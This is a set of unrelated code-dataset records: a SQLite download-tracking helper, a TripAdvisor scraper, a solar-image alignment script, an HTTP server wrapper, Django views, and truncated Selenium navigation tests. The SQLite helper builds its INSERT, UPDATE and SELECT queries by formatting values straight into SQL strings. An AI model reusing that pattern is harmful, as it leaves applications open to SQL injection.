{"api_name": "numpy.zeros", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}]} {"seq_id": "592249344", "text": "#!/usr/bin/python3\nimport sqlite3\nimport os\n\nclass database:\n\n # Initialise the database\n def __init__(self):\n self.conn = sqlite3.connect(\"events.db\")\n self.c = self.conn.cursor()\n\n\n # Connect to the database. If the file doesn't exist, it creates it.\n def db_connect(self):\n \n # Thanks to stackoverflow for help with this one.\n # https://stackoverflow.com/a/1604121\n database_exists = self.c.execute(\"SELECT name FROM sqlite_master WHERE name='downloads'\").fetchone()\n \n if not database_exists:\n # id = DiceVideoId\n # name = the name of event/episode\n # quality = bitrate\n # date = timestamp\n self.c.execute(\"CREATE TABLE downloads (id integer unique, name text, quality text, date integer)\")\n self.conn.commit()\n\n # Insert download into the database\n def db_ins(self, video_id, video_name, video_qual, timestamp):\n try:\n self.c.execute(\"INSERT INTO downloads VALUES ('{}', '{}', '{}', '{}')\".format(video_id, video_name, video_qual, timestamp))\n self.conn.commit()\n except sqlite3.IntegrityError: \n print(\"Error: Couldn't add {} to the database. ID already exists.\".format(video_id))\n\n # Update download information in the database\n def db_upd(self, video_id, video_name, video_qual, timestamp):\n self.c.execute(\"UPDATE downloads SET name = '{}', quality = '{}', date = '{}' WHERE id = {}\".format(video_name, video_qual, timestamp, video_id))\n print(\"UPDATE downloads SET name = '{}', quality = '{}', date = '{}' WHERE id = {}\".format(video_name, video_qual, timestamp, video_id))\n self.conn.commit()\n\n # Query the database for previously downloaded episode\n def db_query(self, video_id):\n #self.c.execute(\"INSERT INTO downloads VALUES ('{}', '{}', '{}', '{}')\".format(video_id, video_name, video_qual, timestamp))\n result = self.c.execute(\"SELECT date FROM downloads WHERE id = '{}'\".format(video_id))\n if result.fetchone():\n return True\n else:\n return False\n\n # Close the database, and commit any final changes\n def db_close(self):\n self.conn.commit()\n self.conn.close()\n\nif __name__ == \"__main__\":\n print(\"Please run python main.py instead.\")\n pass", "sub_path": "db_util.py", "file_name": "db_util.py", "file_ext": "py", "file_size_in_byte": 2350, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlite3.connect", "line_number": 9, "usage_type": "call"}, {"api_name": "sqlite3.IntegrityError", "line_number": 33, "usage_type": "attribute"}]} {"seq_id": "95859075", "text": "from bs4 import BeautifulSoup\nimport requests\n\nurl = 'http://www.tripadvisor.cn/Attractions-g60763-Activities-New_York_City_New_York.html'\nwb_data = requests.get(url)\nsoup = BeautifulSoup(wb_data.text,'lxml')\ntitles = soup.select(' div.property_title > a[target=\"_blank\"]')\nimgs = soup.select('img[width=\"160\"]')\ntags = soup.select(' div.p13n_reasoning_v2' )\n\nfor title,img,tag in zip(titles,imgs,tags):\n data = {\n 'title' :title.get_text(),\n 'img' :img.get('src'),\n 'tag' :list(tag.stripped_strings),\n }\n print(data)\n \n \n \n \n ", "sub_path": "TripAdvisor1.py", "file_name": "TripAdvisor1.py", "file_ext": "py", "file_size_in_byte": 585, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.get", "line_number": 5, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 6, "usage_type": "call"}]} {"seq_id": "498011535", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Dec 26 20:05:23 2019\r\n\r\n@author: 王新华\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom astropy.io import fits\r\nimport scipy.fftpack as fft\r\nimport cupy as cp\r\nfrom xyy_lib import xyy_lib as xyy\r\nimport os\r\nfrom skimage import filters\r\nimport json\r\nimport re\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef align():\r\n f = open(r\"/home/wangxinhua/level1/Level1/json.txt\",'r')\r\n para = json.load(f)\r\n f.close()\r\n rcxsize = int(para['rcxsize'])\r\n rcysize = int(para['rcysize'])\r\n corstart = re.findall('\\d+',para['corstart'])\r\n corstart = [int(i) for i in corstart]\r\n corsize = re.findall('\\d+',para['corsize'])\r\n corsize = [int(i) for i in corsize]\r\n flated_path = para['flated_path']\r\n sobel = int(para['sobel'])\r\n path = para['path']\r\n only_align_no_luckyimage = int(para['only_align_no_luckyimage'])\r\n redrive = para['redrive']\r\n only_align_no_luckyimage_path = para['only_align_no_luckyimage_path']\r\n pfstart = re.findall('\\d+',para['pfstart'])\r\n pfstart = [int(i) for i in pfstart]\r\n pfsize = re.findall('\\d+',para['pfsize'])\r\n pfsize = [int(i) for i in pfsize]\r\n lucky_align_path = para['lucky_align_path']\r\n win=xyy.win(int(pfsize[0]),int(pfsize[1]),0.5,winsty='hann') #----窗函数\r\n diameter = float(para['diameter'])\r\n wavelen = float(para['wavelen'])\r\n pixsca = float(para['pixsca'])\r\n fsp = float(para['fsp'])\r\n srstx = int(para['srstx'])\r\n srsty = int(para['srsty'])\r\n srxsize = int(para['srxsize'])\r\n srysize = int(para['srysize'])\r\n postprocess_flag = int(para['postprocess_flag'])\r\n srsize = int(para['srsize'])\r\n winsr=xyy.win(srsize,srsize, 0.5, winsty='hann')\r\n diaratio = float(para['diaratio'])\r\n start_r0 = float(para['start_r0'])\r\n step_r0 = float(para['step_r0'])\r\n maxfre=wavelen*10.0**(-10.0)/(2.0*diameter*pixsca)*(180.0*3600.0/np.pi)\r\n filename = para['filename']\r\n sitfdata=fits.getdata(filename)\r\n gussf=xyy.gaussf2d(rcxsize,rcysize,1.5)\r\n infrq=(pfsize[0]//2)*0.05/maxfre\r\n otfrq=(pfsize[0]//2)*0.10/maxfre\r\n datapath=[]\r\n flatpath=[]\r\n darkpath=[]\r\n subpaths = os.listdir(path)\r\n for i in range(len(subpaths)): \r\n subpath=os.path.join(path,subpaths[i])\r\n \r\n if ('F' in subpaths[i]) or ('f' in subpaths[i]) : \r\n flatpath.append(subpath)\r\n elif ('D' in subpaths[i]) or ('d' in subpaths[i]): \r\n darkpath.append(subpath)\r\n else:\r\n datapath.append(subpath)\r\n \r\n #做对齐\r\n #读预处理后的数据做对齐\r\n proceed_path = r'F:/2019-12-29chengjiang/20190518/HA'\r\n dirs = xyy.nvst_dirsandfiles_path(proceed_path)\r\n roots = dirs[0]\r\n fitsfile = dirs[1]\r\n t = 0\r\n for i in roots:\r\n i = i.split(':')[1]\r\n if 'f' not in i and 'd' not in i and 'F' not in i and 'D' not in i:\r\n data_root = i\r\n data_fits = dirs[1][t]\r\n t+=1\r\n for i in data_fits:\r\n data_path_fits = os.listdir(i)\r\n numb = len(data_path_fits)\r\n assert numb == 100\r\n cube = np.empty([numb,rcxsize,rcysize], dtype = np.float32)\r\n try:\r\n data_dir_fitstmp = os.path.join(i,data_path_fits[0])\r\n except Exception as e:\r\n print('warning:目录'+i+'下没有fits文件')\r\n continue\r\n ini = xyy.readfits(data_dir_fitstmp)[0]\r\n initmp = ini[corstart[0]:corstart[0]+corsize[0],corstart[1]:corstart[1]+corsize[1]]\r\n initmp_gpu = cp.asarray(initmp) \r\n print('基准文件：'+ data_dir_fitstmp)\r\n if sobel == 1:\r\n initmp = filters.sobel(filters.gaussian(initmp,5.0))\r\n t = 0\r\n for j in data_path_fits:\r\n head=fits.getheader(os.path.join(i,j))\r\n if t !=0:\r\n data = xyy.readfits(i+\"\\\\\"+j)[0]\r\n datatmp = data[corstart[0]:corstart[0]+corsize[0],corstart[1]:corstart[1]+corsize[1]]\r\n if sobel == 1:\r\n datatmp = filters.sobel(filters.gaussian(datatmp,5.0))\r\n datatmp_gpu = cp.asarray(datatmp)\r\n cc,corr = xyy.corrmaxloc_gpu(initmp_gpu,datatmp_gpu)\r\n tmp = xyy.imgshift(data,[-cc[0],-cc[1]])#对齐后的图\r\n if only_align_no_luckyimage == 1:\r\n #不选帧，直接叠加\r\n print('不选帧对齐模式')\r\n ini += tmp\r\n else:\r\n #print('选帧后对齐模式')\r\n cube[t,:,:] = tmp[0:rcxsize,0:rcysize]\r\n cubepf=cube[:,pfstart[0]:pfstart[0]+pfsize[0],pfstart[1]:pfstart[1]+pfsize[1]]\r\n cubemean=np.mean(cubepf, axis=0)\r\n psdcube = np.empty([numb,pfsize[0],pfsize[1]], dtype=np.float32) \r\n \r\n for nn in range(numb):\r\n tmp=cubepf[nn,:,:].copy()\r\n meantmp=np.mean(tmp)\r\n tmp=(tmp-meantmp)*win+meantmp\r\n psd=np.abs(fft.fftshift(fft.fft2(tmp)))**2\r\n psd=(psd/psd[pfsize[0]//2,pfsize[1]//2]).astype(np.float32)\r\n psdcube[nn,:,:]=psd \r\n psdmean=np.mean(psdcube, axis=0)\r\n psdcube=psdcube/psdmean\r\n [Y,X]=np.meshgrid(np.arange(pfsize[1]),np.arange(pfsize[0])) \r\n dist=((X-pfsize[0]//2)**2.0+(Y-pfsize[1]//2)**2.0)**0.5\r\n ring=np.where((dist>=infrq)&(dist<=otfrq), 1.0, 0.0).astype(np.float32)\r\n psdcube=psdcube*ring\r\n ringcube=np.mean(np.mean(psdcube, axis=1),axis=1)\r\n index0=np.argsort(ringcube)[::-1]\r\n #---------------------------------------------------------------------------------------\r\n #-------------------------------- 取排序前**帧, 再次相关对齐，叠加 \r\n cubesort0=cube.copy()[index0][0:int(fsp*numb),:,:]\r\n ini=np.mean(cubesort0, axis=0).astype(np.float32)\r\n initmp=ini[corstart[0]:corstart[0]+corsize[0],corstart[1]:corstart[1]+corsize[1]]\r\n if sobel==1:\r\n initmp=filters.sobel(filters.gaussian(initmp,5.0)) \r\n initmp_gpu=cp.asarray(initmp) \r\n # ---------------------- 对齐 \r\n for nn in range(cubesort0.shape[0]): \r\n data=cubesort0[nn,:,:].copy()\r\n datatmp=data[corstart[0]:corstart[0]+corsize[0],corstart[1]:corstart[1]+corsize[1]]\r\n if sobel==1:\r\n datatmp=filters.sobel(filters.gaussian(datatmp,5.0))\r\n \r\n datatmp_gpu=cp.asarray(datatmp)\r\n cc,corr=xyy.corrmaxloc_gpu(initmp_gpu, datatmp_gpu)\r\n \r\n ####cc,corr=xyy.corrmaxloc(initmp, datatmp)\r\n \r\n tmp=xyy.imgshift(data,[-cc[0],-cc[1]])\r\n cubesort0[nn,:,:]=tmp\r\n \r\n averg=np.mean(cubesort0, axis=0).astype(np.float32)#叠加\r\n \r\n t +=1\r\n #---------------------------- 选帧（1计算功率谱，2环带积分，3排序）\r\n \r\n #.................................................\r\n aligned_path = i+'/aligned'\r\n print('对齐后文件存储位置：'+path+os.path.splitdrive(aligned_path)[1])\r\n if only_align_no_luckyimage == 1:\r\n try:\r\n os.mkdir(path+os.path.splitdrive(aligned_path)[1])\r\n except Exception as e:\r\n print('警告：'+aligned_path+'文件夹已经存在')\r\n xyy.writefits(path+os.path.splitdrive(aligned_path)[1]+'\\\\'+'aligned.fits',initmp/len(data_path_fits))\r\n else:\r\n try:\r\n os.mkdir(path+os.path.splitdrive(aligned_path)[1])\r\n except Exception as e:\r\n print(path+aligned_path+'文件夹已经存在')\r\n \r\n xyy.writefits(path+os.path.splitdrive(aligned_path)[1]+'\\\\'+'aligned.fits',averg)\r\n #退卷积\r\n if postprocess_flag == 1:\r\n cubesr=cube[:,srstx:srstx+srxsize,srsty:srsty+srysize]\r\n r0,index=xyy.cubesrdevr0(cubesr,srsize,winsr,sitfdata,diameter,diaratio,maxfre,0.00,0.06,start_r0,step_r0)\r\n sitf=xyy.GetSitf(sitfdata,maxfre,rcxsize,index)\r\n img=xyy.ImgPSDdeconv(averg,sitf)\r\n \r\n head['CODE2'] = r0\r\n \r\n result=xyy.ImgFilted(img,gussf)\r\n \r\n result=result/np.median(result)*np.median(averg)\r\n fitsname = path+os.path.splitdrive(aligned_path)[1]+'\\\\'+'post_aligned.fits'\r\n xyy.writefits(fitsname,result.astype(np.float32),head)\r\n #plt.imshow(result)\r\n \r\nif __name__ == \"__main__\":\r\n align()\r\n", "sub_path": "Level1rev05/ser_align.py", "file_name": "ser_align.py", "file_ext": "py", "file_size_in_byte": 9108, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 22, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 26, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 28, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 36, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 38, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib.win", "line_number": 41, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 41, "usage_type": "name"}, {"api_name": "xyy_lib.xyy_lib.win", "line_number": 52, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 56, "usage_type": "attribute"}, {"api_name": "astropy.io.fits.getdata", "line_number": 58, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 58, "usage_type": "name"}, {"api_name": "xyy_lib.xyy_lib.gaussf2d", "line_number": 59, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 59, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "xyy_lib.xyy_lib.nvst_dirsandfiles_path", "line_number": 79, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 79, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "xyy_lib.xyy_lib.readfits", "line_number": 99, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 99, "usage_type": "name"}, {"api_name": "cupy.asarray", "line_number": 101, "usage_type": "call"}, {"api_name": "skimage.filters.sobel", "line_number": 104, "usage_type": "call"}, {"api_name": "skimage.filters", "line_number": 104, "usage_type": "name"}, {"api_name": "skimage.filters.gaussian", "line_number": 104, "usage_type": "call"}, {"api_name": "astropy.io.fits.getheader", "line_number": 107, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 107, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "xyy_lib.xyy_lib.readfits", "line_number": 109, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 109, "usage_type": "name"}, {"api_name": "skimage.filters.sobel", "line_number": 112, "usage_type": "call"}, {"api_name": "skimage.filters", "line_number": 112, "usage_type": "name"}, {"api_name": "skimage.filters.gaussian", "line_number": 112, "usage_type": "call"}, {"api_name": "cupy.asarray", "line_number": 113, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib.corrmaxloc_gpu", "line_number": 114, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 114, "usage_type": "name"}, {"api_name": "xyy_lib.xyy_lib.imgshift", "line_number": 115, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 115, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 125, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 131, "usage_type": "call"}, {"api_name": "scipy.fftpack.fftshift", "line_number": 131, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 131, "usage_type": "name"}, {"api_name": "scipy.fftpack.fft2", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 132, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 138, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 145, "usage_type": "attribute"}, {"api_name": "skimage.filters.sobel", "line_number": 148, "usage_type": "call"}, {"api_name": "skimage.filters", "line_number": 148, "usage_type": "name"}, {"api_name": "skimage.filters.gaussian", "line_number": 148, "usage_type": "call"}, {"api_name": "cupy.asarray", "line_number": 149, "usage_type": "call"}, {"api_name": "skimage.filters.sobel", "line_number": 155, "usage_type": "call"}, {"api_name": "skimage.filters", "line_number": 155, "usage_type": "name"}, {"api_name": "skimage.filters.gaussian", "line_number": 155, "usage_type": "call"}, {"api_name": "cupy.asarray", "line_number": 157, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib.corrmaxloc_gpu", "line_number": 158, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 158, "usage_type": "name"}, {"api_name": "xyy_lib.xyy_lib.imgshift", "line_number": 162, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 162, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.path.splitdrive", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path", "line_number": 172, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path.splitdrive", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path", "line_number": 175, "usage_type": "attribute"}, {"api_name": "xyy_lib.xyy_lib.writefits", "line_number": 178, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 178, "usage_type": "name"}, {"api_name": "os.path.splitdrive", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path.splitdrive", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path", "line_number": 181, "usage_type": "attribute"}, {"api_name": "xyy_lib.xyy_lib.writefits", "line_number": 185, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 185, "usage_type": "name"}, {"api_name": "os.path.splitdrive", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "xyy_lib.xyy_lib.cubesrdevr0", "line_number": 189, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 189, "usage_type": "name"}, {"api_name": "xyy_lib.xyy_lib.GetSitf", "line_number": 190, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 190, "usage_type": "name"}, {"api_name": "xyy_lib.xyy_lib.ImgPSDdeconv", "line_number": 191, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 191, "usage_type": "name"}, {"api_name": "xyy_lib.xyy_lib.ImgFilted", "line_number": 195, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 195, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 197, "usage_type": "call"}, {"api_name": "os.path.splitdrive", "line_number": 198, "usage_type": "call"}, {"api_name": "os.path", "line_number": 198, "usage_type": "attribute"}, {"api_name": "xyy_lib.xyy_lib.writefits", "line_number": 199, "usage_type": "call"}, {"api_name": "xyy_lib.xyy_lib", "line_number": 199, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 199, "usage_type": "attribute"}]} {"seq_id": "584656396", "text": "# -*- coding: utf-8 -*-\n\nimport socket\nimport datetime\nimport threading\nimport subprocess\nimport BaseHTTPServer\n\ndef _lsof(port):\n try: # try to find which process uses the socket\n process = subprocess.Popen([\"sudo\", \"lsof\", \"-ti:{}\".format(port)], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = process.communicate()\n\n if stderr and not stdout:\n return -1, stderr\n\n if stdout and not stderr:\n return 0, stdout\n\n return -1, \"\"\n\n except subprocess.CalledProcessError as error:\n return -1, error\n\n\nclass HttpServer:\n def __init__(self, host, port, request_handler):\n try:\n self.http_server = BaseHTTPServer.HTTPServer((host, port), request_handler)\n\n except socket.error as error:\n if 98 == error.errno: # address already in use error\n # try to find PID of the process that uses the socket\n return_code, pids = _lsof(port)\n if 0 == return_code: # managed to find PID(s)\n raise RuntimeError(\"Address is already used by process(es) with PID(s): {}\".format(pids))\n else: # failed to find PID(s)\n raise RuntimeError(error.strerror)\n\n else: # process other socket errors\n raise RuntimeError(error.strerror)\n\n except Exception as error: # process other exceptions\n raise RuntimeError(error)\n\n self.serve_thread = threading.Thread(target=self.http_server.serve_forever) # servE because the server.servE_forever\n self.serve_thread.daemon = True\n\n self.shutdown_thread = threading.Thread(target=self.http_server.shutdown)\n self.shutdown_thread.daemon = True\n\n def __del__(self):\n self.shutdown()\n\n def listen(self):\n if False in [hasattr(self, \"serve_thread\"), hasattr(self, \"http_server\")]:\n return\n\n if self.serve_thread.is_alive():\n return\n\n self.serve_thread.start()\n self.tic = datetime.datetime.now()\n host, port = self.http_server.server_address\n print(\" HTTP-server started listening to {}:{}\".format(host, port))\n\n def shutdown(self):\n if False in [hasattr(self, \"serve_thread\"), hasattr(self, \"shutdown_thread\")]:\n return\n\n if self.serve_thread.is_alive():\n\n if self.shutdown_thread.is_alive():\n return\n\n self.http_server.shutdown()\n self.shutdown_thread.start()\n self.shutdown_thread.join()\n self.toc = datetime.datetime.now()\n print(\" Shutting down HTTP-server. Uptime: {}\".format(self.toc-self.tic))", "sub_path": "http/http.py", "file_name": "http.py", "file_ext": "py", "file_size_in_byte": 2693, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "subprocess.Popen", "line_number": 11, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 11, "usage_type": "attribute"}, {"api_name": "subprocess.CalledProcessError", "line_number": 22, "usage_type": "attribute"}, {"api_name": "BaseHTTPServer.HTTPServer", "line_number": 29, "usage_type": "call"}, {"api_name": "socket.error", "line_number": 31, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 46, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 63, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 79, "usage_type": "attribute"}]} {"seq_id": "135532065", "text": "from django.shortcuts import render\nfrom django.db.models import Q,Count\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom relatedLaw.models import RelatedLaw,LawText\nfrom exam.models import ExamHistory\n\nimport simplejson as json\n\n\n# Create your views here.\ndef index(request):\n examTypes = ExamHistory.examType\n return render(request,'theory/index.html',{'examTypes':examTypes})\n\n\n@csrf_exempt\ndef step2(request):\n datas = request.POST.getlist('data[]')\n q_objects = Q()\n for data in datas:\n q_objects |= Q(**{'examTypeCode': data})\n\n exam = ExamHistory.objects.filter(q_objects) \\\n .values('idexam').annotate(count=Count('idexam'))\n\n q_objects = Q()\n for data in exam:\n q_objects |= Q(**{'idexam': data['idexam']})\n\n law = RelatedLaw.objects.filter(q_objects).values('lawNameCode').annotate(Count('lawNameCode'))\n list = []\n for query in law:\n tt = {}\n tt['code'] = query['lawNameCode']\n tt['codeName'] = law.model(lawNameCode=query['lawNameCode']).get_lawNameCode_display()\n list.append(tt)\n context = {\n 'data':list\n }\n return HttpResponse(json.dumps(context),content_type=\"application/json\")\n\n\n@csrf_exempt\ndef step3(request):\n step2 = request.POST.get('step2')\n step3 = request.POST.get('step3')\n theory = LawText.objects.filter(lawNameCode=step2, lawCategory=step3).extra(\n select={'lawContent_jo0': 'CAST(lawContent_jo AS SIGNED)' \\\n , 'lawContent_hang0': 'CAST(lawContent_hang AS SIGNED)' \\\n , 'lawContent_ho0': 'CAST(lawContent_ho AS SIGNED)' \\\n , 'lawContent_mok0': 'CAST(lawContent_mok AS SIGNED)'}) \\\n .order_by('lawContent_jo0', 'lawContent_hang0', 'lawContent_ho0', 'lawContent_mok0').values('idlaw_text','lawText')\n list = []\n print(theory.query)\n for query in theory:\n list.append(query['lawText'])\n\n context = {\n 'data':list\n }\n return HttpResponse(json.dumps(context),content_type=\"application/json\")", "sub_path": "theory/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2051, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "exam.models.ExamHistory.examType", "line_number": 14, "usage_type": "attribute"}, {"api_name": "exam.models.ExamHistory", "line_number": 14, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 23, "usage_type": "call"}, {"api_name": "exam.models", "line_number": 25, "usage_type": "name"}, {"api_name": "exam.models.ExamHistory.objects.filter", "line_number": 25, "usage_type": "call"}, {"api_name": "exam.models.ExamHistory.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "exam.models.ExamHistory", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.Count", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 28, "usage_type": "call"}, {"api_name": "exam.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 30, "usage_type": "call"}, {"api_name": "relatedLaw.models.RelatedLaw.objects.filter", "line_number": 32, "usage_type": "call"}, {"api_name": "relatedLaw.models.RelatedLaw.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "relatedLaw.models.RelatedLaw", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.Count", "line_number": 32, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 42, "usage_type": "call"}, {"api_name": "simplejson.dumps", "line_number": 42, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 18, "usage_type": "name"}, {"api_name": "relatedLaw.models.LawText.objects.filter", "line_number": 49, "usage_type": "call"}, {"api_name": "relatedLaw.models.LawText.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "relatedLaw.models.LawText", "line_number": 49, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 63, "usage_type": "call"}, {"api_name": "simplejson.dumps", "line_number": 63, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 45, "usage_type": "name"}]} {"seq_id": "143891972", "text": "import pytest\n\n\n@pytest.allure.CRITICAL\n@pytest.allure.feature('SELENIUM.Smoke - nomenclature - Navigate')\n@pytest.mark.navigate\n@pytest.mark.selenium\n@pytest.mark.smoke\nclass TestSeleniumSmokeNomenclatureNavigate:\n # Background #######################################################################################################\n @pytest.fixture()\n @pytest.allure.step('Background')\n def background(self, frontend):\n frontend.general.button_click('Свернуть меню', None, type_web_element='min_menu')\n\n # Scenario 0 #######################################################################################################\n @pytest.allure.story(\"\"\"Section Nomenclature\"\"\")\n @pytest.mark.navigate_0\n @pytest.mark.case_0\n @pytest.mark.parametrize(\n ('section', 'subsection', 'name'),\n [\n ('Номенклатура', 'Блюда', 'warehouse.nomenclature.dish'),\n ('Номенклатура', 'Модификаторы', 'warehouse.nomenclature.mods'),\n ('Номенклатура', 'Ингредиенты', 'warehouse.nomenclature.singleproduct'),\n ('Номенклатура', 'Полуфабрикаты', 'warehouse.nomenclature.semiproduct')\n ]\n )\n def test_case_selenium_smoke_navigate_0(self, frontend, section, subsection, name):\n frontend.navigate.go_to_module(section, subsection, checking_time=True)\n frontend.navigate.opened_module_with_url(name)\n\n # Scenario 1 #######################################################################################################\n @pytest.allure.story(\"\"\"Section Orders\"\"\")\n @pytest.mark.navigate_1\n @pytest.mark.case_1\n @pytest.mark.parametrize(\n ('section', 'subsection', 'name'),\n [\n ('Продажи', 'Чеки', 'front.orders'),\n ('Продажи', 'Пречеки', 'front.preorders'),\n ('Продажи', 'Отмены', 'front.cancellations'),\n ('Продажи', 'Внесения/инкассации', 'front.encashment'),\n ('Продажи', 'Кассовые смены', 'front.zreport')\n\n ]\n )\n def test_case_selenium_smoke_navigate_1(self, frontend, section, 